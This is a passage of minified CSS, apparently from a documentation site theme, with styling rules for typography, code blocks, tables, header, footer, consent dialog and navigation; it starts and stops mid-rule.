h4{font-weight:700;letter-spacing:-.01em;margin:1em 0}.md-typeset h5,.md-typeset h6{color:var(--md-default-fg-color--light);font-size:.8em;font-weight:700;letter-spacing:-.01em;margin:1.25em 0}.md-typeset h5{text-transform:uppercase}.md-typeset hr{border-bottom:.05rem solid var(--md-default-fg-color--lightest);display:flow-root;margin:1.5em 0}.md-typeset a{color:var(--md-typeset-a-color);word-break:break-word}.md-typeset a,.md-typeset a:before{transition:color 125ms}.md-typeset a:focus,.md-typeset a:hover{color:var(--md-accent-fg-color)}.md-typeset a:focus code,.md-typeset a:hover code{background-color:var(--md-accent-fg-color--transparent)}.md-typeset a code{color:currentcolor;transition:background-color 125ms}.md-typeset a.focus-visible{outline-color:var(--md-accent-fg-color);outline-offset:.2rem}.md-typeset code,.md-typeset kbd,.md-typeset pre{color:var(--md-code-fg-color);direction:ltr;font-variant-ligatures:none}@media print{.md-typeset code,.md-typeset kbd,.md-typeset pre{white-space:pre-wrap}}.md-typeset code{background-color:var(--md-code-bg-color);border-radius:.1rem;-webkit-box-decoration-break:clone;box-decoration-break:clone;font-size:.85em;padding:0 .2941176471em;word-break:break-word}.md-typeset code:not(.focus-visible){-webkit-tap-highlight-color:transparent;outline:none}.md-typeset pre{display:flow-root;line-height:1.4;position:relative}.md-typeset pre>code{-webkit-box-decoration-break:slice;box-decoration-break:slice;box-shadow:none;display:block;margin:0;outline-color:var(--md-accent-fg-color);overflow:auto;padding:.7720588235em 1.1764705882em;scrollbar-color:var(--md-default-fg-color--lighter) #0000;scrollbar-width:thin;touch-action:auto;word-break:normal}.md-typeset pre>code:hover{scrollbar-color:var(--md-accent-fg-color) #0000}.md-typeset pre>code::-webkit-scrollbar{height:.2rem;width:.2rem}.md-typeset pre>code::-webkit-scrollbar-thumb{background-color:var(--md-default-fg-color--lighter)}.md-typeset pre>code::-webkit-scrollbar-thumb:hover{background-color:var(--md-accent-fg-color)}.md-typeset kbd{background-color:var(--md-typeset-kbd-color);border-radius:.1rem;box-shadow:0 .1rem 0 .05rem var(--md-typeset-kbd-border-color),0 .1rem 0 var(--md-typeset-kbd-border-color),0 -.1rem .2rem var(--md-typeset-kbd-accent-color) inset;color:var(--md-default-fg-color);display:inline-block;font-size:.75em;padding:0 .6666666667em;vertical-align:text-top;word-break:break-word}.md-typeset mark{background-color:var(--md-typeset-mark-color);-webkit-box-decoration-break:clone;box-decoration-break:clone;color:inherit;word-break:break-word}.md-typeset abbr{border-bottom:.05rem dotted var(--md-default-fg-color--light);cursor:help;text-decoration:none}.md-typeset small{opacity:.75}[dir=ltr] .md-typeset sub,[dir=ltr] .md-typeset sup{margin-left:.078125em}[dir=rtl] .md-typeset sub,[dir=rtl] .md-typeset sup{margin-right:.078125em}[dir=ltr] .md-typeset blockquote{padding-left:.6rem}[dir=rtl] .md-typeset blockquote{padding-right:.6rem}[dir=ltr] .md-typeset blockquote{border-left:.2rem solid var(--md-default-fg-color--lighter)}[dir=rtl] .md-typeset blockquote{border-right:.2rem solid var(--md-default-fg-color--lighter)}.md-typeset blockquote{color:var(--md-default-fg-color--light);margin-left:0;margin-right:0}.md-typeset ul{list-style-type:disc}[dir=ltr] .md-typeset ol,[dir=ltr] .md-typeset ul{margin-left:.625em}[dir=rtl] .md-typeset ol,[dir=rtl] .md-typeset ul{margin-right:.625em}.md-typeset ol,.md-typeset ul{padding:0}.md-typeset ol:not([hidden]),.md-typeset ul:not([hidden]){display:flow-root}.md-typeset ol ol,.md-typeset ul ol{list-style-type:lower-alpha}.md-typeset ol ol ol,.md-typeset ul ol ol{list-style-type:lower-roman}[dir=ltr] .md-typeset ol li,[dir=ltr] .md-typeset ul li{margin-left:1.25em}[dir=rtl] .md-typeset ol li,[dir=rtl] .md-typeset ul li{margin-right:1.25em}.md-typeset ol li,.md-typeset ul li{margin-bottom:.5em}.md-typeset ol li blockquote,.md-typeset ol li p,.md-typeset ul li blockquote,.md-typeset ul li p{margin:.5em 0}.md-typeset ol li:last-child,.md-typeset ul li:last-child{margin-bottom:0}[dir=ltr] .md-typeset ol li ol,[dir=ltr] .md-typeset ol li ul,[dir=ltr] .md-typeset ul li ol,[dir=ltr] .md-typeset ul li ul{margin-left:.625em}[dir=rtl] .md-typeset ol li ol,[dir=rtl] .md-typeset ol li ul,[dir=rtl] .md-typeset ul li ol,[dir=rtl] .md-typeset ul li ul{margin-right:.625em}.md-typeset ol li ol,.md-typeset ol li ul,.md-typeset ul li ol,.md-typeset ul li ul{margin-bottom:.5em;margin-top:.5em}[dir=ltr] .md-typeset dd{margin-left:1.875em}[dir=rtl] .md-typeset dd{margin-right:1.875em}.md-typeset dd{margin-bottom:1.5em;margin-top:1em}.md-typeset img,.md-typeset svg,.md-typeset video{height:auto;max-width:100%}.md-typeset img[align=left]{margin:1em 1em 1em 0}.md-typeset img[align=right]{margin:1em 0 1em 1em}.md-typeset img[align]:only-child{margin-top:0}.md-typeset figure{display:flow-root;margin:1em auto;max-width:100%;text-align:center;width:-moz-fit-content;width:fit-content}.md-typeset figure img{display:block;margin:0 auto}.md-typeset figcaption{font-style:italic;margin:1em auto;max-width:24rem}.md-typeset iframe{max-width:100%}.md-typeset table:not([class]){background-color:var(--md-default-bg-color);border:.05rem solid var(--md-typeset-table-color);border-radius:.1rem;display:inline-block;font-size:.64rem;max-width:100%;overflow:auto;touch-action:auto}@media print{.md-typeset table:not([class]){display:table}}.md-typeset table:not([class])+*{margin-top:1.5em}.md-typeset table:not([class]) td>:first-child,.md-typeset table:not([class]) th>:first-child{margin-top:0}.md-typeset table:not([class]) td>:last-child,.md-typeset table:not([class]) th>:last-child{margin-bottom:0}.md-typeset table:not([class]) td:not([align]),.md-typeset table:not([class]) th:not([align]){text-align:left}[dir=rtl] .md-typeset table:not([class]) td:not([align]),[dir=rtl] .md-typeset table:not([class]) th:not([align]){text-align:right}.md-typeset table:not([class]) th{font-weight:700;min-width:5rem;padding:.9375em 1.25em;vertical-align:top}.md-typeset table:not([class]) td{border-top:.05rem solid var(--md-typeset-table-color);padding:.9375em 1.25em;vertical-align:top}.md-typeset table:not([class]) tbody tr{transition:background-color 125ms}.md-typeset table:not([class]) tbody tr:hover{background-color:var(--md-typeset-table-color--light);box-shadow:0 .05rem 0 var(--md-default-bg-color) inset}.md-typeset table:not([class]) a{word-break:normal}.md-typeset table th[role=columnheader]{cursor:pointer}[dir=ltr] .md-typeset table th[role=columnheader]:after{margin-left:.5em}[dir=rtl] .md-typeset table th[role=columnheader]:after{margin-right:.5em}.md-typeset table th[role=columnheader]:after{content:"";display:inline-block;height:1.2em;-webkit-mask-image:var(--md-typeset-table-sort-icon);mask-image:var(--md-typeset-table-sort-icon);-webkit-mask-repeat:no-repeat;mask-repeat:no-repeat;-webkit-mask-size:contain;mask-size:contain;transition:background-color 125ms;vertical-align:text-bottom;width:1.2em}.md-typeset table th[role=columnheader]:hover:after{background-color:var(--md-default-fg-color--lighter)}.md-typeset table th[role=columnheader][aria-sort=ascending]:after{background-color:var(--md-default-fg-color--light);-webkit-mask-image:var(--md-typeset-table-sort-icon--asc);mask-image:var(--md-typeset-table-sort-icon--asc)}.md-typeset table th[role=columnheader][aria-sort=descending]:after{background-color:var(--md-default-fg-color--light);-webkit-mask-image:var(--md-typeset-table-sort-icon--desc);mask-image:var(--md-typeset-table-sort-icon--desc)}.md-typeset__scrollwrap{margin:1em -.8rem;overflow-x:auto;touch-action:auto}.md-typeset__table{display:inline-block;margin-bottom:.5em;padding:0 .8rem}@media print{.md-typeset__table{display:block}}html .md-typeset__table table{display:table;margin:0;overflow:hidden;width:100%}@media screen and (max-width:44.984375em){.md-content__inner>pre{margin:1em -.8rem}.md-content__inner>pre code{border-radius:0}}.md-typeset .md-author{border-radius:100%;display:block;flex-shrink:0;height:1.6rem;overflow:hidden;position:relative;transition:color 125ms,transform 125ms;width:1.6rem}.md-typeset .md-author img{display:block}.md-typeset .md-author--more{background:var(--md-default-fg-color--lightest);color:var(--md-default-fg-color--lighter);font-size:.6rem;font-weight:700;line-height:1.6rem;text-align:center}.md-typeset .md-author--long{height:2.4rem;width:2.4rem}.md-typeset a.md-author{transform:scale(1)}.md-typeset a.md-author img{border-radius:100%;filter:grayscale(100%) opacity(75%);transition:filter 125ms}.md-typeset a.md-author:focus,.md-typeset a.md-author:hover{transform:scale(1.1);z-index:1}.md-typeset a.md-author:focus img,.md-typeset a.md-author:hover img{filter:grayscale(0)}.md-banner{background-color:var(--md-footer-bg-color);color:var(--md-footer-fg-color);overflow:auto}@media print{.md-banner{display:none}}.md-banner--warning{background-color:var(--md-warning-bg-color);color:var(--md-warning-fg-color)}.md-banner__inner{font-size:.7rem;margin:.6rem auto;padding:0 .8rem}[dir=ltr] .md-banner__button{float:right}[dir=rtl] .md-banner__button{float:left}.md-banner__button{color:inherit;cursor:pointer;transition:opacity .25s}.no-js .md-banner__button{display:none}.md-banner__button:hover{opacity:.7}html{font-size:125%;height:100%;overflow-x:hidden}@media screen and (min-width:100em){html{font-size:137.5%}}@media screen and (min-width:125em){html{font-size:150%}}body{background-color:var(--md-default-bg-color);display:flex;flex-direction:column;font-size:.5rem;min-height:100%;position:relative;width:100%}@media print{body{display:block}}@media screen and (max-width:59.984375em){body[data-md-scrolllock]{position:fixed}}.md-grid{margin-left:auto;margin-right:auto;max-width:61rem}.md-container{display:flex;flex-direction:column;flex-grow:1}@media print{.md-container{display:block}}.md-main{flex-grow:1}.md-main__inner{display:flex;height:100%;margin-top:1.5rem}.md-ellipsis{overflow:hidden;text-overflow:ellipsis}.md-toggle{display:none}.md-option{height:0;opacity:0;position:absolute;width:0}.md-option:checked+label:not([hidden]){display:block}.md-option.focus-visible+label{outline-color:var(--md-accent-fg-color);outline-style:auto}.md-skip{background-color:var(--md-default-fg-color);border-radius:.1rem;color:var(--md-default-bg-color);font-size:.64rem;margin:.5rem;opacity:0;outline-color:var(--md-accent-fg-color);padding:.3rem .5rem;position:fixed;transform:translateY(.4rem);z-index:-1}.md-skip:focus{opacity:1;transform:translateY(0);transition:transform .25s cubic-bezier(.4,0,.2,1),opacity 175ms 75ms;z-index:10}@page{margin:25mm}:root{--md-clipboard-icon:url('data:image/svg+xml;charset=utf-8,')}.md-clipboard{border-radius:.1rem;color:var(--md-default-fg-color--lightest);cursor:pointer;height:1.5em;outline-color:var(--md-accent-fg-color);outline-offset:.1rem;position:absolute;right:.5em;top:.5em;transition:color .25s;width:1.5em;z-index:1}@media print{.md-clipboard{display:none}}.md-clipboard:not(.focus-visible){-webkit-tap-highlight-color:transparent;outline:none}:hover>.md-clipboard{color:var(--md-default-fg-color--light)}.md-clipboard:focus,.md-clipboard:hover{color:var(--md-accent-fg-color)}.md-clipboard:after{background-color:currentcolor;content:"";display:block;height:1.125em;margin:0 auto;-webkit-mask-image:var(--md-clipboard-icon);mask-image:var(--md-clipboard-icon);-webkit-mask-position:center;mask-position:center;-webkit-mask-repeat:no-repeat;mask-repeat:no-repeat;-webkit-mask-size:contain;mask-size:contain;width:1.125em}.md-clipboard--inline{cursor:pointer}.md-clipboard--inline code{transition:color .25s,background-color .25s}.md-clipboard--inline:focus code,.md-clipboard--inline:hover code{background-color:var(--md-accent-fg-color--transparent);color:var(--md-accent-fg-color)}.md-typeset .md-code__content{display:grid}@keyframes consent{0%{opacity:0;transform:translateY(100%)}to{opacity:1;transform:translateY(0)}}@keyframes overlay{0%{opacity:0}to{opacity:1}}.md-consent__overlay{animation:overlay .25s both;-webkit-backdrop-filter:blur(.1rem);backdrop-filter:blur(.1rem);background-color:#0000008a;height:100%;opacity:1;position:fixed;top:0;width:100%;z-index:5}.md-consent__inner{animation:consent .5s cubic-bezier(.1,.7,.1,1) both;background-color:var(--md-default-bg-color);border:0;border-radius:.1rem;bottom:0;box-shadow:0 0 .2rem #0000001a,0 .2rem .4rem #0003;max-height:100%;overflow:auto;padding:0;position:fixed;width:100%;z-index:5}.md-consent__form{padding:.8rem}.md-consent__settings{display:none;margin:1em 0}input:checked+.md-consent__settings{display:block}.md-consent__controls{margin-bottom:.8rem}.md-typeset .md-consent__controls .md-button{display:inline}@media screen and (max-width:44.984375em){.md-typeset .md-consent__controls .md-button{display:block;margin-top:.4rem;text-align:center;width:100%}}.md-consent label{cursor:pointer}.md-content{flex-grow:1;min-width:0}.md-content__inner{margin:0 .8rem 1.2rem;padding-top:.6rem}@media screen and (min-width:76.25em){[dir=ltr] .md-sidebar--primary:not([hidden])~.md-content>.md-content__inner{margin-left:1.2rem}[dir=ltr] .md-sidebar--secondary:not([hidden])~.md-content>.md-content__inner,[dir=rtl] .md-sidebar--primary:not([hidden])~.md-content>.md-content__inner{margin-right:1.2rem}[dir=rtl] .md-sidebar--secondary:not([hidden])~.md-content>.md-content__inner{margin-left:1.2rem}}.md-content__inner:before{content:"";display:block;height:.4rem}.md-content__inner>:last-child{margin-bottom:0}[dir=ltr] .md-content__button{float:right}[dir=rtl] .md-content__button{float:left}[dir=ltr] .md-content__button{margin-left:.4rem}[dir=rtl] .md-content__button{margin-right:.4rem}.md-content__button{margin:.4rem 0;padding:0}@media print{.md-content__button{display:none}}.md-typeset .md-content__button{color:var(--md-default-fg-color--lighter)}.md-content__button svg{display:inline;vertical-align:top}[dir=rtl] .md-content__button svg{transform:scaleX(-1)}[dir=ltr] .md-dialog{right:.8rem}[dir=rtl] .md-dialog{left:.8rem}.md-dialog{background-color:var(--md-default-fg-color);border-radius:.1rem;bottom:.8rem;box-shadow:var(--md-shadow-z3);min-width:11.1rem;opacity:0;padding:.4rem .6rem;pointer-events:none;position:fixed;transform:translateY(100%);transition:transform 0ms .4s,opacity .4s;z-index:4}@media print{.md-dialog{display:none}}.md-dialog--active{opacity:1;pointer-events:auto;transform:translateY(0);transition:transform .4s cubic-bezier(.075,.85,.175,1),opacity .4s}.md-dialog__inner{color:var(--md-default-bg-color);font-size:.7rem}.md-feedback{margin:2em 0 1em;text-align:center}.md-feedback fieldset{border:none;margin:0;padding:0}.md-feedback__title{font-weight:700;margin:1em auto}.md-feedback__inner{position:relative}.md-feedback__list{display:flex;flex-wrap:wrap;place-content:baseline center;position:relative}.md-feedback__list:hover .md-icon:not(:disabled){color:var(--md-default-fg-color--lighter)}:disabled .md-feedback__list{min-height:1.8rem}.md-feedback__icon{color:var(--md-default-fg-color--light);cursor:pointer;flex-shrink:0;margin:0 .1rem;transition:color 125ms}.md-feedback__icon:not(:disabled).md-icon:hover{color:var(--md-accent-fg-color)}.md-feedback__icon:disabled{color:var(--md-default-fg-color--lightest);pointer-events:none}.md-feedback__note{opacity:0;position:relative;transform:translateY(.4rem);transition:transform .4s cubic-bezier(.1,.7,.1,1),opacity .15s}.md-feedback__note>*{margin:0 auto;max-width:16rem}:disabled .md-feedback__note{opacity:1;transform:translateY(0)}.md-footer{background-color:var(--md-footer-bg-color);color:var(--md-footer-fg-color)}@media print{.md-footer{display:none}}.md-footer__inner{justify-content:space-between;overflow:auto;padding:.2rem}.md-footer__inner:not([hidden]){display:flex}.md-footer__link{align-items:end;display:flex;flex-grow:0.01;margin-bottom:.4rem;margin-top:1rem;max-width:100%;outline-color:var(--md-accent-fg-color);overflow:hidden;transition:opacity .25s}.md-footer__link:focus,.md-footer__link:hover{opacity:.7}[dir=rtl] .md-footer__link svg{transform:scaleX(-1)}@media screen and (max-width:44.984375em){.md-footer__link--prev{flex-shrink:0}.md-footer__link--prev .md-footer__title{display:none}}[dir=ltr] .md-footer__link--next{margin-left:auto}[dir=rtl] .md-footer__link--next{margin-right:auto}.md-footer__link--next{text-align:right}[dir=rtl] .md-footer__link--next{text-align:left}.md-footer__title{flex-grow:1;font-size:.9rem;margin-bottom:.7rem;max-width:calc(100% - 2.4rem);padding:0 1rem;white-space:nowrap}.md-footer__button{margin:.2rem;padding:.4rem}.md-footer__direction{font-size:.64rem;opacity:.7}.md-footer-meta{background-color:var(--md-footer-bg-color--dark)}.md-footer-meta__inner{display:flex;flex-wrap:wrap;justify-content:space-between;padding:.2rem}html .md-footer-meta.md-typeset a{color:var(--md-footer-fg-color--light)}html .md-footer-meta.md-typeset a:focus,html .md-footer-meta.md-typeset a:hover{color:var(--md-footer-fg-color)}.md-copyright{color:var(--md-footer-fg-color--lighter);font-size:.64rem;margin:auto .6rem;padding:.4rem 0;width:100%}@media screen and (min-width:45em){.md-copyright{width:auto}}.md-copyright__highlight{color:var(--md-footer-fg-color--light)}.md-social{display:inline-flex;gap:.2rem;margin:0 .4rem;padding:.2rem 0 .6rem}@media screen and (min-width:45em){.md-social{padding:.6rem 0}}.md-social__link{display:inline-block;height:1.6rem;text-align:center;width:1.6rem}.md-social__link:before{line-height:1.9}.md-social__link svg{fill:currentcolor;max-height:.8rem;vertical-align:-25%}.md-typeset .md-button{border:.1rem solid;border-radius:.1rem;color:var(--md-primary-fg-color);cursor:pointer;display:inline-block;font-weight:700;padding:.625em 2em;transition:color 125ms,background-color 125ms,border-color 125ms}.md-typeset .md-button--primary{background-color:var(--md-primary-fg-color);border-color:var(--md-primary-fg-color);color:var(--md-primary-bg-color)}.md-typeset .md-button:focus,.md-typeset .md-button:hover{background-color:var(--md-accent-fg-color);border-color:var(--md-accent-fg-color);color:var(--md-accent-bg-color)}[dir=ltr] .md-typeset .md-input{border-top-left-radius:.1rem}[dir=ltr] .md-typeset .md-input,[dir=rtl] .md-typeset .md-input{border-top-right-radius:.1rem}[dir=rtl] .md-typeset .md-input{border-top-left-radius:.1rem}.md-typeset .md-input{border-bottom:.1rem solid var(--md-default-fg-color--lighter);box-shadow:var(--md-shadow-z1);font-size:.8rem;height:1.8rem;padding:0 .6rem;transition:border .25s,box-shadow .25s}.md-typeset .md-input:focus,.md-typeset .md-input:hover{border-bottom-color:var(--md-accent-fg-color);box-shadow:var(--md-shadow-z2)}.md-typeset .md-input--stretch{width:100%}.md-header{background-color:var(--md-primary-fg-color);box-shadow:0 0 .2rem #0000,0 .2rem .4rem #0000;color:var(--md-primary-bg-color);display:block;left:0;position:sticky;right:0;top:0;z-index:4}@media print{.md-header{display:none}}.md-header[hidden]{transform:translateY(-100%);transition:transform .25s cubic-bezier(.8,0,.6,1),box-shadow .25s}.md-header--shadow{box-shadow:0 0 .2rem #0000001a,0 .2rem .4rem #0003;transition:transform .25s cubic-bezier(.1,.7,.1,1),box-shadow .25s}.md-header__inner{align-items:center;display:flex;padding:0 .2rem}.md-header__button{color:currentcolor;cursor:pointer;margin:.2rem;outline-color:var(--md-accent-fg-color);padding:.4rem;position:relative;transition:opacity .25s;vertical-align:middle;z-index:1}.md-header__button:hover{opacity:.7}.md-header__button:not([hidden]){display:inline-block}.md-header__button:not(.focus-visible){-webkit-tap-highlight-color:transparent;outline:none}.md-header__button.md-logo{margin:.2rem;padding:.4rem}@media screen and (max-width:76.234375em){.md-header__button.md-logo{display:none}}.md-header__button.md-logo img,.md-header__button.md-logo svg{fill:currentcolor;display:block;height:1.2rem;width:auto}@media screen and (min-width:60em){.md-header__button[for=__search]{display:none}}.no-js .md-header__button[for=__search]{display:none}[dir=rtl] .md-header__button[for=__search] svg{transform:scaleX(-1)}@media screen and (min-width:76.25em){.md-header__button[for=__drawer]{display:none}}.md-header__topic{display:flex;max-width:100%;position:absolute;transition:transform .4s cubic-bezier(.1,.7,.1,1),opacity .15s;white-space:nowrap}.md-header__topic+.md-header__topic{opacity:0;pointer-events:none;transform:translateX(1.25rem);transition:transform .4s cubic-bezier(1,.7,.1,.1),opacity .15s;z-index:-1}[dir=rtl] .md-header__topic+.md-header__topic{transform:translateX(-1.25rem)}.md-header__topic:first-child{font-weight:700}[dir=ltr] .md-header__title{margin-left:1rem;margin-right:.4rem}[dir=rtl] .md-header__title{margin-left:.4rem;margin-right:1rem}.md-header__title{flex-grow:1;font-size:.9rem;height:2.4rem;line-height:2.4rem}.md-header__title--active .md-header__topic{opacity:0;pointer-events:none;transform:translateX(-1.25rem);transition:transform .4s cubic-bezier(1,.7,.1,.1),opacity .15s;z-index:-1}[dir=rtl] .md-header__title--active .md-header__topic{transform:translateX(1.25rem)}.md-header__title--active .md-header__topic+.md-header__topic{opacity:1;pointer-events:auto;transform:translateX(0);transition:transform .4s cubic-bezier(.1,.7,.1,1),opacity .15s;z-index:0}.md-header__title>.md-header__ellipsis{height:100%;position:relative;width:100%}.md-header__option{display:flex;flex-shrink:0;max-width:100%;transition:max-width 0ms .25s,opacity .25s .25s;white-space:nowrap}[data-md-toggle=search]:checked~.md-header .md-header__option{max-width:0;opacity:0;transition:max-width 0ms,opacity 0ms}.md-header__option>input{bottom:0}.md-header__source{display:none}@media screen and (min-width:60em){[dir=ltr] .md-header__source{margin-left:1rem}[dir=rtl] .md-header__source{margin-right:1rem}.md-header__source{display:block;max-width:11.7rem;width:11.7rem}}@media screen and (min-width:76.25em){[dir=ltr] .md-header__source{margin-left:1.4rem}[dir=rtl] .md-header__source{margin-right:1.4rem}}.md-meta{color:var(--md-default-fg-color--light);font-size:.7rem;line-height:1.3}.md-meta__list{display:inline-flex;flex-wrap:wrap;list-style:none;margin:0;padding:0}.md-meta__item:not(:last-child):after{content:"·";margin-left:.2rem;margin-right:.2rem}.md-meta__link{color:var(--md-typeset-a-color)}.md-meta__link:focus,.md-meta__link:hover{color:var(--md-accent-fg-color)}.md-draft{background-color:#ff1744;border-radius:.125em;color:#fff;display:inline-block;font-weight:700;padding-left:.5714285714em;padding-right:.5714285714em}:root{--md-nav-icon--prev:url('data:image/svg+xml;charset=utf-8,');--md-nav-icon--next:url('data:image/svg+xml;charset=utf-8,');--md-toc-icon:url('data:image/svg+xml;charset=utf-8,')}.md-nav{font-size:.7rem;line-height:1.3}.md-nav__title{color:var(--md-default-fg-color--light);display:block;font-weight:700;overflow:hidden;padding:0 .6rem;text-overflow:ellipsis}.md-nav__title .md-nav__button{display:none}.md-nav__title .md-nav__button img{height:100%;width:auto}.md-nav__title .md-nav__button.md-logo img,.md-nav__title .md-nav__button.md-logo svg{fill:currentcolor;display:block;height:2.4rem;max-width:100%;object-fit:contain;width:auto}.md-nav__list{list-style:none;margin:0;padding:0}.md-nav__link{align-items:flex-start;display:flex;gap:.4rem;margin-top:.625em;scroll-snap-align:start;transition:color 125ms}.md-nav__link--passed{color:var(--md-default-fg-color--light)}.md-nav__item .md-nav__link--active,.md-nav__item .md-nav__link--active code{color:var(--md-typeset-a-color)}.md-nav__link .md-ellipsis{position:relative}[dir=ltr] .md-nav__link .md-icon:last-child{margin-left:auto}[dir=rtl] .md-nav__link .md-icon:last-child{margin-right:auto}.md-nav__link svg{fill:currentcolor;flex-shrink:0;height:1.3em}.md-nav__link[for]:focus,.md-nav__link[for]:hover,.md-nav__link[href]:focus,.md-nav__link[href]:hover{color:var(--md-accent-fg-color);cursor:pointer}.md-nav__link.focus-visible{outline-color:var(--md-accent-fg-color);outline-offset:.2rem}.md-nav--primary .md-nav__link[for=__toc]{display:none}.md-nav--primary .md-nav__link[for=__toc] .md-icon:after{background-color:currentcolor;display:block;height:100%;-webkit-mask-image:var(--md-toc-icon);mask-image:var(--md-toc-icon);width:100%}.md-nav--primary .md-nav__link[for=__toc]~.md-nav{display:none}.md-nav__container>.md-nav__link{margin-top:0}.md-nav__container>.md-nav__link:first-child{flex-grow:1;min-width:0}.md-nav__icon{flex-shrink:0}.md-nav__source{display:none}@media screen and (max-width:76.234375em){.md-nav--primary,.md-nav--primary .md-nav{background-color:var(--md-default-bg-color);display:flex;flex-direction:column;height:100%;left:0;position:absolute;right:0;top:0;z-index:1}.md-nav--primary .md-nav__item,.md-nav--primary .md-nav__title{font-size:.8rem;line-height:1.5}.md-nav--primary .md-nav__title{background-color:var(--md-default-fg-color--lightest);color:var(--md-default-fg-color--light);cursor:pointer;height:5.6rem;line-height:2.4rem;padding:3rem .8rem .2rem;position:relative;white-space:nowrap}[dir=ltr] .md-nav--primary .md-nav__title .md-nav__icon{left:.4rem}[dir=rtl] .md-nav--primary .md-nav__title .md-nav__icon{right:.4rem}.md-nav--primary .md-nav__title .md-nav__icon{display:block;height:1.2rem;margin:.2rem;position:absolute;top:.4rem;width:1.2rem}.md-nav--primary .md-nav__title .md-nav__icon:after{background-color:currentcolor;content:"";display:block;height:100%;-webkit-mask-image:var(--md-nav-icon--prev);mask-image:var(--md-nav-icon--prev);-webkit-mask-position:center;mask-position:center;-webkit-mask-repeat:no-repeat;mask-repeat:no-repeat;-webkit-mask-size:contain;mask-size:contain;width:100%}.md-nav--primary .md-nav__title~.md-nav__list{background-color:var(--md-default-bg-color);box-shadow:0 .05rem 0 var(--md-default-fg-color--lightest) inset;overflow-y:auto;scroll-snap-type:y mandatory;touch-action:pan-y}.md-nav--primary .md-nav__title~.md-nav__list>:first-child{border-top:0}.md-nav--primary .md-nav__title[for=__drawer]{background-color:var(--md-primary-fg-color);color:var(--md-primary-bg-color);font-weight:700}.md-nav--primary .md-nav__title .md-logo{display:block;left:.2rem;margin:.2rem;padding:.4rem;position:absolute;right:.2rem;top:.2rem}.md-nav--primary .md-nav__list{flex:1}.md-nav--primary .md-nav__item{border-top:.05rem solid var(--md-default-fg-color--lightest)}.md-nav--primary .md-nav__item--active>.md-nav__link{color:var(--md-typeset-a-color)}.md-nav--primary .md-nav__item--active>.md-nav__link:focus,.md-nav--primary .md-nav__item--active>.md-nav__link:hover{color:var(--md-accent-fg-color)}.md-nav--primary .md-nav__link{margin-top:0;padding:.6rem .8rem}.md-nav--primary .md-nav__link svg{margin-top:.1em}.md-nav--primary .md-nav__link>.md-nav__link{padding:0}[dir=ltr] .md-nav--primary .md-nav__link .md-nav__icon{margin-right:-.2rem}[dir=rtl] .md-nav--primary .md-nav__link .md-nav__icon{margin-left:-.2rem}.md-nav--primary .md-nav__link .md-nav__icon{font-size:1.2rem;height:1.2rem;width:1.2rem}.md-nav--primary .md-nav__link .md-nav__icon:after{background-color:currentcolor;content:"";display:block;height:100%;-webkit-mask-image:var(--md-nav-icon--next);mask-image:var(--md-nav-icon--next);-webkit-mask-position:center;mask-position:center;-webkit-mask-repeat:no-repeat;mask-repeat:no-repeat;-webkit-mask-size:contain;mask-size:contain;width:100%}[dir=rtl] .md-nav--primary .md-nav__icon:after{transform:scale(-1)}.md-nav--primary .md-nav--secondary .md-nav{background-color:initial;position:static}[dir=ltr] .md-nav--primary .md-nav--secondary .md-nav .md-nav__link{padding-left:1.4rem}[dir=rtl] .md-nav--primary .md-nav--secondary .md-nav .md-nav__link{padding-right:1.4rem}[dir=ltr] .md-nav--primary .md-nav--secondary .md-nav .md-nav .md-nav__link{padding-left:2rem}[dir=rtl] .md-nav--primary .md-nav--secondary .md-nav .md-nav .md-nav__link{padding-right:2rem}[dir=ltr] .md-nav--primary .md-nav--secondary .md-nav .md-nav .md-nav .md-nav__link{padding-left:2.6rem}[dir=rtl] .md-nav--primary .md-nav--secondary .md-nav .md-nav .md-nav .md-nav__link{padding-right:2.6rem}[dir=ltr] .md-nav--primary .md-nav--secondary .md-nav .md-nav .md-nav .md-nav .md-nav__link{padding-left:3.2rem}[dir=rtl] .md-nav--primary .md-nav--secondary .md-nav .md-nav .md-nav .md-nav .md-nav__link{padding-right:3.2rem}.md-nav--secondary{background-color:initial}.md-nav__toggle~.md-nav{display:flex;opacity:0;transform:translateX(100%);transition:transform .25s cubic-bezier(.8,0,.6,1),opacity 125ms 50ms}[dir=rtl] .md-nav__toggle~.md-nav{transform:translateX(-100%)}.md-nav__toggle:checked~.md-nav{opacity:1;transform:translateX(0);transition:transform .25s cubic-bezier(.4,0,.2,1),opacity 125ms 125ms}.md-nav__toggle:checked~.md-nav>.md-nav__list{-webkit-backface-visibility:hidden;backface-visibility:hidden}}@media screen and (max-width:59.984375em){.md-nav--primary .md-nav__link[for=__toc]{display:flex}.md-nav--primary .md-nav__link[for=__toc] .md-icon:after{content:""}.md-nav--primary .md-nav__link[for=__toc]+.md-nav__link{display:none}.md-nav--primary .md-nav__link[for=__toc]~.md-nav{display:flex}.md-nav__source{background-color:var(--md-primary-fg-color--dark);color:var(--md-primary-bg-color);display:block;padding:0 .2rem}}@media screen and (min-width:60em) and (max-width:76.234375em){.md-nav--integrated .md-nav__link[for=__toc]{display:flex}.md-nav--integrated .md-nav__link[for=__toc] .md-icon:after{content:""}.md-nav--integrated .md-nav__link[for=__toc]+.md-nav__link{display:none}.md-nav--integrated .md-nav__link[for=__toc]~.md-nav{display:flex}}@media screen and (min-width:60em){.md-nav{margin-bottom:-.4rem}.md-nav--secondary .md-nav__title{background:var(--md-default-bg-color);box-shadow:0 0 .4rem .4rem var(--md-default-bg-color);position:sticky;top:0;z-index:1}.md-nav--secondary .md-nav__title[for=__toc]{scroll-snap-align:start}.md-nav--secondary .md-nav__title .md-nav__icon{display:none}[dir=ltr] .md-nav--secondary .md-nav__list{padding-left:.6rem}[dir=rtl] .md-nav--secondary .md-nav__list{padding-right:.6rem}.md-nav--secondary .md-nav__list{padding-bottom:.4rem}[dir=ltr] .md-nav--secondary .md-nav__item>.md-nav__link{margin-right:.4rem}[dir=rtl] .md-nav--secondary .md-nav__item>.md-nav__link{margin-left:.4rem}}@media screen and (min-width:76.25em){.md-nav{margin-bottom:-.4rem;transition:max-height .25s cubic-bezier(.86,0,.07,1)}.md-nav--primary .md-nav__title{background:var(--md-default-bg-color);box-shadow:0 0 .4rem .4rem var(--md-default-bg-color);position:sticky;top:0;z-index:1}.md-nav--primary .md-nav__title[for=__drawer]{scroll-snap-align:start}.md-nav--primary .md-nav__title .md-nav__icon{display:none}[dir=ltr] .md-nav--primary .md-nav__list{padding-left:.6rem}[dir=rtl] .md-nav--primary .md-nav__list{padding-right:.6rem}.md-nav--primary .md-nav__list{padding-bottom:.4rem}[dir=ltr] .md-nav--primary .md-nav__item>.md-nav__link{margin-right:.4rem}[dir=rtl] .md-nav--primary 